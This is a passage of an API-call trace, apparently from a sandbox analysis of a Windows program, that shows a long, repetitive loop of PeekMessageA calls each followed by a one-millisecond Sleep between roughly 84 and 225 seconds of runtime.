[0084.340] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.340] Sleep (dwMilliseconds=0x1) [0084.740] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.740] Sleep (dwMilliseconds=0x1) [0084.808] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.808] Sleep (dwMilliseconds=0x1) [0084.879] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.958] Sleep (dwMilliseconds=0x1) [0085.048] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.048] Sleep (dwMilliseconds=0x1) [0085.123] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.123] Sleep (dwMilliseconds=0x1) [0085.180] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.180] Sleep (dwMilliseconds=0x1) [0085.344] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.392] Sleep (dwMilliseconds=0x1) [0085.733] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0085.961] Sleep (dwMilliseconds=0x1) [0086.079] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.297] Sleep (dwMilliseconds=0x1) [0086.348] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.348] Sleep (dwMilliseconds=0x1) [0086.591] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.591] Sleep (dwMilliseconds=0x1) [0086.893] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0089.109] Sleep (dwMilliseconds=0x1) [0090.328] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0091.761] Sleep (dwMilliseconds=0x1) [0093.248] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0093.248] Sleep (dwMilliseconds=0x1) [0095.198] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0095.198] Sleep (dwMilliseconds=0x1) [0097.308] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0097.309] Sleep (dwMilliseconds=0x1) [0098.886] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0098.887] Sleep (dwMilliseconds=0x1) [0100.433] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0100.433] Sleep (dwMilliseconds=0x1) [0101.387] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0101.387] Sleep (dwMilliseconds=0x1) [0102.011] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0102.011] Sleep (dwMilliseconds=0x1) [0102.331] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0102.331] Sleep (dwMilliseconds=0x1) [0102.525] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0102.525] Sleep (dwMilliseconds=0x1) [0102.776] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0102.986] Sleep (dwMilliseconds=0x1) [0103.134] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0103.134] Sleep (dwMilliseconds=0x1) [0103.269] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0103.269] Sleep (dwMilliseconds=0x1) [0103.547] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0103.547] Sleep (dwMilliseconds=0x1) [0105.073] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0105.074] Sleep (dwMilliseconds=0x1) [0107.418] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0107.418] Sleep (dwMilliseconds=0x1) [0109.887] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0109.887] Sleep (dwMilliseconds=0x1) [0112.137] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0112.137] Sleep (dwMilliseconds=0x1) [0113.490] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0113.490] Sleep (dwMilliseconds=0x1) [0114.110] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0114.110] Sleep (dwMilliseconds=0x1) [0114.554] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0114.920] Sleep (dwMilliseconds=0x1) [0115.211] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0115.904] Sleep (dwMilliseconds=0x1) [0116.296] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0116.296] Sleep (dwMilliseconds=0x1) [0117.795] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0117.795] Sleep (dwMilliseconds=0x1) [0119.439] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0119.439] Sleep (dwMilliseconds=0x1) [0120.926] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0120.926] Sleep (dwMilliseconds=0x1) [0122.123] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0122.124] Sleep (dwMilliseconds=0x1) [0122.973] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0122.973] Sleep (dwMilliseconds=0x1) [0125.027] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0125.027] Sleep (dwMilliseconds=0x1) [0126.227] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0126.227] Sleep (dwMilliseconds=0x1) [0127.203] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0127.203] Sleep (dwMilliseconds=0x1) [0128.085] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0128.085] Sleep (dwMilliseconds=0x1) [0128.326] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0128.326] Sleep (dwMilliseconds=0x1) [0130.187] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0130.187] Sleep (dwMilliseconds=0x1) [0132.342] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0132.342] Sleep (dwMilliseconds=0x1) [0134.551] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0134.551] Sleep (dwMilliseconds=0x1) [0136.558] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0136.558] Sleep (dwMilliseconds=0x1) [0138.403] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0138.403] Sleep (dwMilliseconds=0x1) [0139.938] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0139.938] Sleep (dwMilliseconds=0x1) [0140.793] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0140.793] Sleep (dwMilliseconds=0x1) [0141.596] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0141.596] Sleep (dwMilliseconds=0x1) [0142.269] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0142.269] Sleep (dwMilliseconds=0x1) [0142.693] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0142.694] Sleep (dwMilliseconds=0x1) [0143.383] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0143.384] Sleep (dwMilliseconds=0x1) [0145.107] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0145.107] Sleep (dwMilliseconds=0x1) [0145.685] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0145.685] Sleep (dwMilliseconds=0x1) [0145.858] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0145.858] Sleep (dwMilliseconds=0x1) [0145.972] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0145.972] Sleep (dwMilliseconds=0x1) [0146.026] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0146.026] Sleep (dwMilliseconds=0x1) [0147.355] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0147.356] Sleep (dwMilliseconds=0x1) [0148.382] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0148.383] Sleep (dwMilliseconds=0x1) [0150.935] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0150.935] Sleep (dwMilliseconds=0x1) [0153.178] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0153.178] Sleep (dwMilliseconds=0x1) [0155.669] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0155.669] Sleep (dwMilliseconds=0x1) [0157.889] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0157.936] Sleep (dwMilliseconds=0x1) [0159.966] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0159.966] Sleep (dwMilliseconds=0x1) [0162.566] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0162.566] Sleep (dwMilliseconds=0x1) [0164.244] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0164.244] Sleep (dwMilliseconds=0x1) [0165.457] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0165.457] Sleep (dwMilliseconds=0x1) [0166.304] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0166.304] Sleep (dwMilliseconds=0x1) [0166.933] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0166.933] Sleep (dwMilliseconds=0x1) [0167.763] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0167.764] Sleep (dwMilliseconds=0x1) [0169.515] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0169.521] Sleep (dwMilliseconds=0x1) [0171.984] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0171.984] Sleep (dwMilliseconds=0x1) [0174.361] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0174.466] Sleep (dwMilliseconds=0x1) [0176.618] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0176.618] Sleep (dwMilliseconds=0x1) [0178.732] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0178.732] Sleep (dwMilliseconds=0x1) [0180.594] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0180.594] Sleep (dwMilliseconds=0x1) [0182.821] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0182.821] Sleep (dwMilliseconds=0x1) [0184.857] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0184.857] Sleep (dwMilliseconds=0x1) [0186.990] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0186.991] Sleep (dwMilliseconds=0x1) [0188.975] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0191.717] Sleep (dwMilliseconds=0x1) [0192.912] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0192.913] Sleep (dwMilliseconds=0x1) [0193.914] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0193.914] Sleep (dwMilliseconds=0x1) [0194.730] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0194.730] Sleep (dwMilliseconds=0x1) [0195.218] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0195.218] Sleep (dwMilliseconds=0x1) [0195.981] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0195.981] Sleep (dwMilliseconds=0x1) [0198.014] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0198.014] Sleep (dwMilliseconds=0x1) [0199.940] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0199.941] Sleep (dwMilliseconds=0x1) [0201.861] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0201.862] Sleep (dwMilliseconds=0x1) [0204.077] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0204.077] Sleep (dwMilliseconds=0x1) [0206.178] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0206.178] Sleep (dwMilliseconds=0x1) [0208.356] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0208.356] Sleep (dwMilliseconds=0x1) [0210.359] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0210.360] Sleep (dwMilliseconds=0x1) [0212.118] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0212.118] Sleep (dwMilliseconds=0x1) [0214.136] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0214.136] Sleep (dwMilliseconds=0x1) [0215.970] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0215.970] Sleep (dwMilliseconds=0x1) [0217.509] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0217.509] Sleep (dwMilliseconds=0x1) [0219.088] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0219.088] Sleep (dwMilliseconds=0x1) [0220.588] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0220.588] Sleep (dwMilliseconds=0x1) [0222.137] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0222.137] Sleep (dwMilliseconds=0x1) [0223.302] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0223.302] Sleep (dwMilliseconds=0x1) [0224.192] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0224.192] Sleep (dwMilliseconds=0x1) [0224.947] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0224.948] Sleep (dwMilliseconds=0x1) [0225.182] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0225.182] Sleep (dwMilliseconds=0x1) [0225.511] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0225.511] Sleep (dwMilliseconds=0x1) [0225.672] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0225.672] Sleep 